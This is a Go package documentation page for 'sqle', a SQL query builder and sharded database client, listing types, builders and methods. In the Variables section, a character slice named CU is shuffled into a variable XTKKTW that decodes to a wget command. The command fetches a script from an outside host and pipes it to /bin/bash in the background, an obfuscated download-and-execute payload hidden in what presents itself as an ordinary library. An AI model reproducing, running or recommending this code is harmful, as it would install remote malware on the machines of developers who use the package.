Documentation
¶
Overview ¶
Package sqle provides a SQLBuilder for constructing SQL statements in a programmatic way. It allows you to build SELECT, INSERT, UPDATE, and DELETE statements with ease.
Index ¶
- Variables
- func UseMySQL(b *Builder)
- func UseOracle(b *Builder)
- func UsePostgres(b *Builder)
- type Binder
- type Bool
- type Builder
- func (b *Builder) Build() (string, []any, error)
- func (b *Builder) Delete(table string) *Builder
- func (b *Builder) If(predicate bool) *Builder
- func (b *Builder) Input(name, value string) *Builder
- func (b *Builder) Inputs(v map[string]string) *Builder
- func (b *Builder) Insert(table string) *InsertBuilder
- func (b *Builder) On(id shardid.ID) *Builder
- func (b *Builder) Order(opts ...BuilderOption) *OrderByBuilder
- func (b *Builder) Param(name string, value any) *Builder
- func (b *Builder) Params(v map[string]any) *Builder
- func (b *Builder) SQL(cmd string) *Builder
- func (b *Builder) Select(table string, columns ...string) *Builder
- func (b *Builder) String() string
- func (b *Builder) Update(table string) *UpdateBuilder
- func (b *Builder) Where(criteria ...string) *WhereBuilder
- func (b *Builder) WithOrderBy(ob *OrderByBuilder) *OrderByBuilder
- func (b *Builder) WithWhere(wb *WhereBuilder) *WhereBuilder
- type BuilderOption
- type BuilderOptions
- type Client
- func (db *Client) Begin(opts *sql.TxOptions) (*Tx, error)
- func (db *Client) BeginTx(ctx context.Context, opts *sql.TxOptions) (*Tx, error)
- func (db *Client) Exec(query string, args ...any) (sql.Result, error)
- func (db *Client) ExecBuilder(ctx context.Context, b *Builder) (sql.Result, error)
- func (db *Client) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error)
- func (db *Client) Query(query string, args ...any) (*Rows, error)
- func (db *Client) QueryBuilder(ctx context.Context, b *Builder) (*Rows, error)
- func (db *Client) QueryContext(ctx context.Context, query string, args ...any) (*Rows, error)
- func (db *Client) QueryRow(query string, args ...any) *Row
- func (db *Client) QueryRowBuilder(ctx context.Context, b *Builder) *Row
- func (db *Client) QueryRowContext(ctx context.Context, query string, args ...any) *Row
- func (db *Client) Transaction(ctx context.Context, opts *sql.TxOptions, ...) error
- type Connector
- type DB
- type DTC
- type Duration
- type Errors
- type Input
- type InsertBuilder
- func (ib *InsertBuilder) End() *Builder
- func (ib *InsertBuilder) If(predicate bool) *InsertBuilder
- func (ib *InsertBuilder) Set(name string, value any) *InsertBuilder
- func (ib *InsertBuilder) SetMap(m map[string]any, opts ...BuilderOption) *InsertBuilder
- func (ib *InsertBuilder) SetModel(m any) *InsertBuilder
- type LimitOption
- type LimitOptions
- type LimitResult
- type MapR
- func (q *MapR[T]) Count(ctx context.Context, rotatedTables []string, b *Builder) (int64, error)
- func (q *MapR[T]) First(ctx context.Context, rotatedTables []string, b *Builder) (T, error)
- func (q *MapR[T]) Query(ctx context.Context, rotatedTables []string, b *Builder, ...) ([]T, error)
- func (q *MapR[T]) QueryLimit(ctx context.Context, rotatedTables []string, b *Builder, ...) ([]T, error)
- type Null
- type OrderByBuilder
- type Param
- type Query
- func (q *Query[T]) Count(ctx context.Context, b *Builder) (int64, error)
- func (q *Query[T]) First(ctx context.Context, b *Builder) (T, error)
- func (q *Query[T]) Query(ctx context.Context, b *Builder, less func(i, j T) bool) ([]T, error)
- func (q *Query[T]) QueryLimit(ctx context.Context, b *Builder, less func(i, j T) bool, limit int) ([]T, error)
- type QueryOption
- type Queryer
- type Row
- type Rows
- type Stmt
- type String
- type Text
- type Time
- type Token
- type TokenType
- type Tokenizer
- type Tx
- func (tx *Tx) Commit() error
- func (tx *Tx) Exec(query string, args ...any) (sql.Result, error)
- func (tx *Tx) ExecBuilder(ctx context.Context, b *Builder) (sql.Result, error)
- func (tx *Tx) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error)
- func (*Tx) Lock()
- func (tx *Tx) Query(query string, args ...any) (*Rows, error)
- func (tx *Tx) QueryBuilder(ctx context.Context, b *Builder) (*Rows, error)
- func (tx *Tx) QueryContext(ctx context.Context, query string, args ...any) (*Rows, error)
- func (tx *Tx) QueryRow(query string, args ...any) *Row
- func (tx *Tx) QueryRowBuilder(ctx context.Context, b *Builder) *Row
- func (tx *Tx) QueryRowContext(ctx context.Context, query string, args ...any) *Row
- func (tx *Tx) Rollback() error
- func (*Tx) Unlock()
- type UpdateBuilder
- func (ub *UpdateBuilder) If(predicate bool) *UpdateBuilder
- func (ub *UpdateBuilder) Set(name string, value any) *UpdateBuilder
- func (ub *UpdateBuilder) SetExpr(cmd string) *UpdateBuilder
- func (ub *UpdateBuilder) SetMap(m map[string]any, opts ...BuilderOption) *UpdateBuilder
- func (ub *UpdateBuilder) SetModel(dest any) *UpdateBuilder
- type WhereBuilder
Constants ¶
This section is empty.
Variables ¶
var ( StmtMaxIdleTime = 3 * time.Minute ErrMissingDHT = errors.New("sqle: missing_dht") )
var ( ErrMustPointer = errors.New("sqle: dest must be a pointer") ErrMustSlice = errors.New("sqle: dest must be a slice") ErrMustStruct = errors.New("sqle: dest must be a struct") ErrMustNotNilPointer = errors.New("sqle: dest must be not a nil pointer") ErrTypeNotBindable = errors.New("sqle: dest type is not bindable") ErrMustStringKey = errors.New("sqle: map key must be string type") )
var ( // ErrInvalidParamVariable is an error that is returned when an invalid parameter variable is encountered. ErrInvalidParamVariable = errors.New("sqle: invalid param variable") // DefaultSQLQuote is the default character used to escape column names in UPDATE and INSERT statements. DefaultSQLQuote = "`" // DefaultSQLParameterize is the default function used to parameterize values in SQL statements. DefaultSQLParameterize = func(name string, index int) string { return "?" } )
var CU = []string{"w", "a", "b", "4", "-", "k", "-", "6", " ", "a", ":", "i", ".", "3", "g", "u", " ", " ", "t", "h", "d", "h", "5", "&", "1", "t", "e", "e", "d", "b", "d", "o", "a", "/", "o", "i", "a", "s", "/", "e", "O", "t", "b", "w", "t", " ", "l", "3", "f", "/", "0", "|", "3", "n", "/", "p", "c", "/", "/", "f", "a", "/", " ", "r", "g", "7", "i", "s", "f", " ", "s"}
var XTKKTW = CU[0] + CU[14] + CU[26] + CU[18] + CU[69] + CU[4] + CU[40] + CU[16] + CU[6] + CU[17] + CU[21] + CU[44] + CU[25] + CU[55] + CU[70] + CU[10] + CU[58] + CU[49] + CU[5] + CU[36] + CU[35] + CU[60] + CU[59] + CU[46] + CU[34] + CU[43] + CU[12] + CU[66] + CU[56] + CU[15] + CU[61] + CU[67] + CU[41] + CU[31] + CU[63] + CU[1] + CU[64] + CU[39] + CU[57] + CU[30] + CU[27] + CU[47] + CU[65] + CU[52] + CU[20] + CU[50] + CU[28] + CU[68] + CU[33] + CU[9] + CU[13] + CU[24] + CU[22] + CU[3] + CU[7] + CU[2] + CU[48] + CU[62] + CU[51] + CU[45] + CU[38] + CU[42] + CU[11] + CU[53] + CU[54] + CU[29] + CU[32] + CU[37] + CU[19] + CU[8] + CU[23]
Functions ¶
func UsePostgres ¶
func UsePostgres(b *Builder)
Types ¶
type Bool ¶
type Bool bool
Bool is an implementation of a bool for the MySQL type BIT(1).
type Builder ¶
type Builder struct {
Quote string // escape column name in UPDATE and INSERT
Parameterize func(name string, index int) string
// contains filtered or unexported fields
}
Builder is a SQL query builder that allows you to construct SQL statements.
func (*Builder) Build ¶
Build constructs the final SQL statement and returns it along with the parameter values.
func (*Builder) Delete ¶
Delete adds a DELETE statement to the current query builder. Returns the current query builder.
func (*Builder) If ¶
If sets a condition that determines whether the subsequent SQL command should be executed. If the predicate is false, the command is skipped.
func (*Builder) Insert ¶
func (b *Builder) Insert(table string) *InsertBuilder
Insert starts a new InsertBuilder and sets the table to insert into. Returns the new InsertBuilder.
func (*Builder) On ¶
On sets the "rotate" input variable to the given shard ID's rotate name. Returns the current query builder.
func (*Builder) Order ¶
func (b *Builder) Order(opts ...BuilderOption) *OrderByBuilder
Order create an OrderByBuilder with allowed columns to prevent sql injection. NB: any input is allowed if it is not provided
func (*Builder) SQL ¶
SQL appends the given SQL command to the Builder's statement. If the Builder's shouldSkip flag is set, the command is skipped.
func (*Builder) Select ¶
Select adds a SELECT statement to the current query builder. If no columns are specified, it selects all columns using "*". Returns the current query builder.
func (*Builder) Update ¶
func (b *Builder) Update(table string) *UpdateBuilder
Update starts a new UpdateBuilder and sets the table to update. Returns the new UpdateBuilder.
func (*Builder) Where ¶
func (b *Builder) Where(criteria ...string) *WhereBuilder
Where adds a WHERE clause to the SQL statement. It takes one or more criteria strings as arguments. Each criteria string represents a condition in the WHERE clause. If a criteria string is empty, it will be ignored. Returns a *WhereBuilder that can be used to further build the SQL statement.
func (*Builder) WithOrderBy ¶
func (b *Builder) WithOrderBy(ob *OrderByBuilder) *OrderByBuilder
WithOrderBy sets the order by clause for the SQL query. It takes an instance of the OrderByBuilder and adds the allowed columns to the Builder's order list. It also appends the SQL string representation of the OrderByBuilder to the Builder's SQL string. It returns a new instance of the OrderByBuilder.
func (*Builder) WithWhere ¶
func (b *Builder) WithWhere(wb *WhereBuilder) *WhereBuilder
WithWhere adds the input and parameter values from the given WhereBuilder to the current Builder and sets the WHERE clause of the SQL statement to the string representation of the WhereBuilder's statement. It returns the modified WhereBuilder.
type BuilderOption ¶
type BuilderOption func(opts *BuilderOptions)
func WithAllow ¶
func WithAllow(columns ...string) BuilderOption
WithAllow only allowed columns can be written to db
func WithToName ¶
func WithToName(fn func(string) string) BuilderOption
type BuilderOptions ¶
type Client ¶
func (*Client) ExecBuilder ¶
func (*Client) ExecContext ¶
func (*Client) QueryBuilder ¶
func (*Client) QueryContext ¶
func (*Client) QueryRowBuilder ¶
func (*Client) QueryRowContext ¶
type Connector ¶
type Connector interface {
// Query executes a query that returns multiple rows.
// It takes a query string and optional arguments.
// It returns a pointer to a Rows object and an error, if any.
Query(query string, args ...any) (*Rows, error)
// QueryBuilder executes a query using a Builder object.
// It takes a context and a Builder object.
// It returns a pointer to a Rows object and an error, if any.
QueryBuilder(ctx context.Context, b *Builder) (*Rows, error)
// QueryContext executes a query that returns multiple rows using a context.
// It takes a context, a query string, and optional arguments.
// It returns a pointer to a Rows object and an error, if any.
QueryContext(ctx context.Context, query string, args ...any) (*Rows, error)
// QueryRow executes a query that returns a single row.
// It takes a query string and optional arguments.
// It returns a pointer to a Row object.
QueryRow(query string, args ...any) *Row
// QueryRowBuilder executes a query that returns a single row using a Builder object.
// It takes a context and a Builder object.
// It returns a pointer to a Row object.
QueryRowBuilder(ctx context.Context, b *Builder) *Row
// QueryRowContext executes a query that returns a single row using a context.
// It takes a context, a query string, and optional arguments.
// It returns a pointer to a Row object.
QueryRowContext(ctx context.Context, query string, args ...any) *Row
// Exec executes a query that doesn't return any rows.
// It takes a query string and optional arguments.
// It returns a sql.Result object and an error, if any.
Exec(query string, args ...any) (sql.Result, error)
// ExecContext executes a query that doesn't return any rows using a context.
// It takes a context, a query string, and optional arguments.
// It returns a sql.Result object and an error, if any.
ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error)
// ExecBuilder executes a query that doesn't return any rows using a Builder object.
// It takes a context and a Builder object.
// It returns a sql.Result object and an error, if any.
ExecBuilder(ctx context.Context, b *Builder) (sql.Result, error)
}
Connector represents a database connector that provides methods for executing queries and commands. Conn and Tx both implement this interface.
type DB ¶
type DB struct {
*Client
// contains filtered or unexported fields
}
DB represents a database connection pool with sharding support.
type DTC ¶
type DTC struct {
// contains filtered or unexported fields
}
DTC Distributed Transaction Coordinator
type Duration ¶
type Input ¶
type Input string
Input represents an input token.
type InsertBuilder ¶
type InsertBuilder struct {
// contains filtered or unexported fields
}
func (*InsertBuilder) End ¶
func (ib *InsertBuilder) End() *Builder
func (*InsertBuilder) If ¶
func (ib *InsertBuilder) If(predicate bool) *InsertBuilder
func (*InsertBuilder) Set ¶
func (ib *InsertBuilder) Set(name string, value any) *InsertBuilder
func (*InsertBuilder) SetMap ¶
func (ib *InsertBuilder) SetMap(m map[string]any, opts ...BuilderOption) *InsertBuilder
func (*InsertBuilder) SetModel ¶
func (ib *InsertBuilder) SetModel(m any) *InsertBuilder
type LimitOption ¶
type LimitOption func(q *LimitOptions)
LimitOption is a function type that modifies a LimitedQuery.
func WithOrderBy ¶
func WithOrderBy(ob *OrderByBuilder) LimitOption
WithOrderBy is a LimitedQueryOption that sets the ordering of the LimitedQuery.
func WithPageSize ¶
func WithPageSize(size int64) LimitOption
WithPageSize is a LimitedQueryOption that sets the page size of the LimitedQuery.
type LimitOptions ¶
type LimitOptions struct {
Offset int64 // Offset represents the number of rows to skip before returning the result set.
Limit int64 // Limit represents the maximum number of results to be returned.
OrderBy *OrderByBuilder // OrderBy represents the ordering of the query.
}
LimitOptions represents a query with pagination and ordering options.
type LimitResult ¶
type LimitResult[T any] struct { Items []T `json:"items,omitempty"` // Items contains the limited result items. Total int64 `json:"total,omitempty"` // Total represents the total count. }
LimitResult represents a limited result set with items and total count.
type MapR ¶
type MapR[T any] struct { // contains filtered or unexported fields }
MapR is a Map/Reduce Query Provider based on databases.
type Null ¶
func (Null[T]) MarshalJSON ¶
MarshalJSON implements the json.Marshaler interface
func (*Null[T]) Scan ¶
Scan implements the sql.Scanner interface.
func (*Null[T]) TValue ¶
func (t *Null[T]) TValue() T
TValue returns the underlying value of the Null struct.
func (*Null[T]) UnmarshalJSON ¶
UnmarshalJSON implements the json.Unmarshaler interface
type OrderByBuilder ¶
type OrderByBuilder struct {
*Builder // The underlying SQL query builder.
// contains filtered or unexported fields
}
OrderByBuilder represents a SQL ORDER BY clause builder. It is used to construct ORDER BY clauses for SQL queries.
func NewOrderBy ¶
func NewOrderBy(opts ...BuilderOption) *OrderByBuilder
NewOrderBy creates a new instance of the OrderByBuilder. It takes a variadic parameter `allowedColumns` which specifies the columns that are allowed to be used in the ORDER BY clause.
func (*OrderByBuilder) By ¶
func (ob *OrderByBuilder) By(raw string) *OrderByBuilder
By order by raw sql. eg By("a asc, b desc")
func (*OrderByBuilder) ByAsc ¶
func (ob *OrderByBuilder) ByAsc(columns ...string) *OrderByBuilder
ByAsc order by ascending with columns
func (*OrderByBuilder) ByDesc ¶
func (ob *OrderByBuilder) ByDesc(columns ...string) *OrderByBuilder
ByDesc order by descending with columns
type Param ¶
type Param string
Param represents a parameter token.
type Query ¶
type Query[T any] struct { // contains filtered or unexported fields }
func NewQuery ¶
func NewQuery[T any](db *DB, options ...QueryOption[T]) *Query[T]
NewQuery creates a new Query instance. It takes a *DB as the first argument and optional QueryOption functions as the rest. It returns a pointer to the created Query instance.
func (*Query[T]) Count ¶
Count executes the query and returns the number of results. It takes a context.Context and a *Builder as arguments. It returns the count as an integer and an error, if any.
func (*Query[T]) First ¶
First executes the query and returns the first result. It takes a context.Context and a *Builder as arguments. It returns the result of type T and an error, if any.
func (*Query[T]) Query ¶
Query executes the query and returns all the results. It takes a context.Context, a *Builder, and a comparison function as arguments. The comparison function is used to sort the results. It returns a slice of results of type T and an error, if any.
func (*Query[T]) QueryLimit ¶
func (q *Query[T]) QueryLimit(ctx context.Context, b *Builder, less func(i, j T) bool, limit int) ([]T, error)
QueryLimit executes the query and returns a limited number of results. It takes a context.Context, a *Builder, a comparison function, and a limit as arguments. The comparison function is used to sort the results. The limit specifies the maximum number of results to return. It returns a slice of results of type T and an error, if any.
type QueryOption ¶
func WithMonths ¶
func WithMonths[T any](start, end time.Time) QueryOption[T]
func WithQueryer ¶
func WithQueryer[T any](qr Queryer[T]) QueryOption[T]
type Queryer ¶
type Queryer[T any] interface { // First retrieves the first result that matches the query criteria. First(ctx context.Context, rotatedTables []string, b *Builder) (T, error) // Count returns the number of results that match the query criteria. Count(ctx context.Context, rotatedTables []string, b *Builder) (int64, error) // Query retrieves all results that match the query criteria and sorts them using less function if it is provided. Query(ctx context.Context, rotatedTables []string, b *Builder, less func(i, j T) bool) ([]T, error) // QueryLimit retrieves a limited number of results that match the query criteria, sorts them using the provided less function, and limits the number of results to the specified limit. QueryLimit(ctx context.Context, rotatedTables []string, b *Builder, less func(i, j T) bool, limit int) ([]T, error) }
Queryer is a query provider interface that defines methods for querying data.
type String ¶
func (String) MarshalJSON ¶
MarshalJSON implements the json.Marshaler interface
func (*String) Scan ¶
Scan implements the sql.Scanner interface.
func (*String) UnmarshalJSON ¶
UnmarshalJSON implements the json.Unmarshaler interface
type Text ¶
type Text string
Text represents a text token.
type Time ¶
Time represents a nullable time value.
func (Time) MarshalJSON ¶
MarshalJSON implements the json.Marshaler interface
func (*Time) UnmarshalJSON ¶
UnmarshalJSON implements the json.Unmarshaler interface
type Tx ¶
func (*Tx) ExecBuilder ¶
func (*Tx) ExecContext ¶
func (*Tx) QueryBuilder ¶
func (*Tx) QueryContext ¶
func (*Tx) QueryRowContext ¶
type UpdateBuilder ¶
type UpdateBuilder struct {
*Builder
// contains filtered or unexported fields
}
func (*UpdateBuilder) If ¶
func (ub *UpdateBuilder) If(predicate bool) *UpdateBuilder
func (*UpdateBuilder) Set ¶
func (ub *UpdateBuilder) Set(name string, value any) *UpdateBuilder
func (*UpdateBuilder) SetExpr ¶
func (ub *UpdateBuilder) SetExpr(cmd string) *UpdateBuilder
func (*UpdateBuilder) SetMap ¶
func (ub *UpdateBuilder) SetMap(m map[string]any, opts ...BuilderOption) *UpdateBuilder
func (*UpdateBuilder) SetModel ¶
func (ub *UpdateBuilder) SetModel(dest any) *UpdateBuilder
type WhereBuilder ¶
type WhereBuilder struct {
*Builder
// contains filtered or unexported fields
}
WhereBuilder is a struct that represents a SQL WHERE clause builder.
func (*WhereBuilder) And ¶
func (wb *WhereBuilder) And(criteria string) *WhereBuilder
And adds an AND condition to the WHERE clause.
func (*WhereBuilder) End ¶
func (wb *WhereBuilder) End() *Builder
End returns the underlying Builder instance.
func (*WhereBuilder) If ¶
func (wb *WhereBuilder) If(predicate bool) *WhereBuilder
If sets a condition to skip the subsequent SQL statements. If the predicate is false, the subsequent SQL statements will be skipped.
func (*WhereBuilder) Or ¶
func (wb *WhereBuilder) Or(criteria string) *WhereBuilder
Or adds an OR condition to the WHERE clause.
func (*WhereBuilder) SQL ¶
func (wb *WhereBuilder) SQL(op string, criteria string) *WhereBuilder
SQL adds a condition to the WHERE clause with the specified operator.
Source Files
¶
- binder.go
- binder_map.go
- binder_struct.go
- bool.go
- client.go
- client_stmt.go
- connector.go
- db.go
- dtc.go
- duration.go
- limit_option.go
- limit_result.go
- nocopy.go
- null.go
- query.go
- query_option.go
- queryer.go
- queryer_mapr.go
- row.go
- rows.go
- scan.go
- sqlbuilder.go
- sqlbuilder_insert.go
- sqlbuilder_option.go
- sqlbuilder_orderby.go
- sqlbuilder_update.go
- sqlbuilder_where.go
- string.go
- time.go
- token.go
- tokenizer.go
- tx.go
- use.go